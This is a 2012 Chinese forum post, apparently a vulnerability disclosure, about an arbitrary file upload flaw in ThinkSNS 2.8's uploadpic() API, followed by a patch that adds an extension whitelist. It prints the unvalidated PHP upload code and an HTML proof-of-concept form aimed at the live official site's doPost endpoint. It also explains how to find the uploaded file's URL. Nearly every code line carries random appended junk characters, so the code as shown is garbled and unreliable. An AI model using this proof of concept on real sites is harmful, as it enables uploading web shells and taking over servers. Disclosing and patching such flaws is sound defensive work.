找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2323|回复: 0
打印 上一主题 下一主题

ThinkSNS 2.8任意文件上传漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:12:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
  微博上传图片时只在前端进行验证, 服务器端没有进行安全过滤。
3 f; l% d) C% k: w( ?/ {: D2 b3 G/ w8 k/ q1 u: W2 O+ e+ P+ a! ?

' u  l) o' w1 n! B( B\api\StatusesApi.class.php+ b5 u8 {6 h4 t" k
) x- U* d. d; B9 D
function uploadpic(){
- T  y! i0 P  g0 ~; V      if( $_FILES['pic'] ){4 r8 V8 h# U' {$ \
     //执行上传操作
$ ?% h/ v1 W  L/ I7 `1 U     $savePath =  $this->_getSaveTempPath();
+ N. I+ J; @  x9 e     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
) S8 O1 L1 k" I+ \    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
$ \8 Q1 ?) p% {8 U. t& F: m       {
. `8 C' J" \% y* b        $result['boolen']    = 1;
9 b9 U& H6 O" f0 z' V( s+ s1 p        $result['type_data'] = 'temp/'.$filename;
1 S$ J% ]% n# s3 @# y        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;4 Q$ f) i' c, V
       } else {
% i( L" `2 W- j$ S- u9 G, ?2 [5 F        $result['boolen']    = 0;
3 a. }2 l3 M$ o5 b! T" s3 A" h, \        $result['message']   = '上传失败';
& u0 o0 r$ h& w* d       }
1 D& h8 d9 ]4 F  S     }else{$ _0 e7 j: u4 s  A, n: T  ~
         $result['boolen']    = 0;
* x) e: @* t8 _' D" C5 _# B, s9 X% w         $result['message']   = '上传失败';4 n# P6 n( ]7 F4 s
     }2 j0 k$ _6 C0 o! ]' I' d/ y- f
return $result;1 u6 L5 g  W. `4 P% B0 P& v' B
    }
7 y" O! _! U  B1 ^9 q# munloadpic()方法没有对文件类型进行验证
1 F, i- p, Y( G% p2 C( d& Z  m / M, U2 s" o4 @" c4 m* f
可以构建表单, 选择任意文件, 提交到
  w3 Z  G: k, y6 O. r' L/index.php?app=w3g&mod=Index&act=doPost
. t7 ~, @) `  v , u% M7 b7 I: k  j$ r+ h7 S- j
在新提交的微博上可以找到上传的文件地址(去掉small_、middle_ 前缀)
4 Z+ G# G6 J% T4 @% o) B% }1 o) c) p. c6 c7 X2 V0 b8 b
7 ^1 v6 T& g" A) b
在登录thinksns官方微博后," F* h$ x! o' ^" H
构建以下表单:
8 A7 _2 R6 N  O3 i 5 q! c$ ~  o' G2 i$ G
<form action="http://t.thinksns.com/index.php?app=w3g&mod=Index&act=doPost" method="post" enctype="multipart/form-data" />
9 c5 f# r0 M6 `; l. q<textarea name="content">test</textarea>" F% k, V9 q0 ]4 [) u2 `. I) D7 ?2 L
file: <input id="file" type="file" name="pic" />5 z( Q/ N( |& q# T8 @
<input type="submit" value="Post" />7 b: a7 c' f2 f
</form>
3 F2 q* e# A+ ^去掉缩略图的前缀(small_ )
9 p9 I. [3 T/ _4 i1 d​修复方案:
8 C' V) }1 y  e* a2 n6 s
- z! w! v  ^4 K; l& T2 ?7 x2 X7 Y# W9 N. |
\api\StatusesApi.class.php) p5 ~5 Y; }4 B' ?

+ F' Z& j8 H/ R6 D% {+ U1 ffunction uploadpic(){
: D: x& B* z( v. T7 k: m; ?3 F8 s6 ?     /**
1 V: x7 j* E& g3 d      * 20121018 @yelo$ ?! T  R% U& [
      * 增加上传类型验证
/ k" }) E3 E; y0 ]      */
3 p" ]+ {9 ]! c     $pathinfo = pathinfo($_FILES['pic']['name']);. C, \" }  p7 D6 b
     $ext = $pathinfo['extension'];/ l) t7 @2 j0 N+ |( n
$allowExts = array('jpg', 'png', 'gif', 'jpeg');1 j8 A* f, |5 {# E* j; D4 Q
) j' |+ A9 e6 a+ I
     $uploadCondition = $_FILES['pic'] && in_array(strtolower($ext),$allowExts,true);, T% |9 E3 X$ z9 {* V1 f
& V/ h. |3 G; b5 u7 f0 ?8 M0 e
     if( $uploadCondition ){
6 [/ {( _+ z# o8 N     //执行上传操作
, j) i. l' \6 H. D5 l0 i% i     $savePath =  $this->_getSaveTempPath();; q/ ~7 U4 P: z* N
     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);7 M' ?8 Q% Q* S; g: W; x
    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))0 z/ u) V( Y1 \; E! g+ ~) C
       {3 l0 p- G& P3 t9 J4 \
        $result['boolen']    = 1;2 n; L, S7 y9 t1 F% y
        $result['type_data'] = 'temp/'.$filename;3 W/ O. q1 I4 g# C4 P  n9 }3 q
        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;& Y1 v# t" V3 G9 c- u$ J! u; u* {  g! L7 u1 |
       } else {( o: M& `4 I- m6 U: P9 N5 a
        $result['boolen']    = 0;4 z5 y: W7 M( B! E6 J* l
        $result['message']   = '上传失败';
# y2 h% |, C- x7 B+ |, ?( E8 h       }5 \- r5 Z* l" C1 o0 [2 Z
     }else{; Z, B7 ]9 d" O0 R
         $result['boolen']    = 0;
  n; G2 p, h4 D         $result['message']   = '上传失败';. Q) w; t( N  V1 B' H5 E4 X, _
     }
; ^* Q, L3 S6 y& f; Oreturn $result;2 d  X# o6 W+ B' C
    }- Z' O3 N/ g5 Z, V" g
​
2 A! \4 K) x+ O8 t- U* Q, E& }2 l/ [0 t  m2 O! H
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表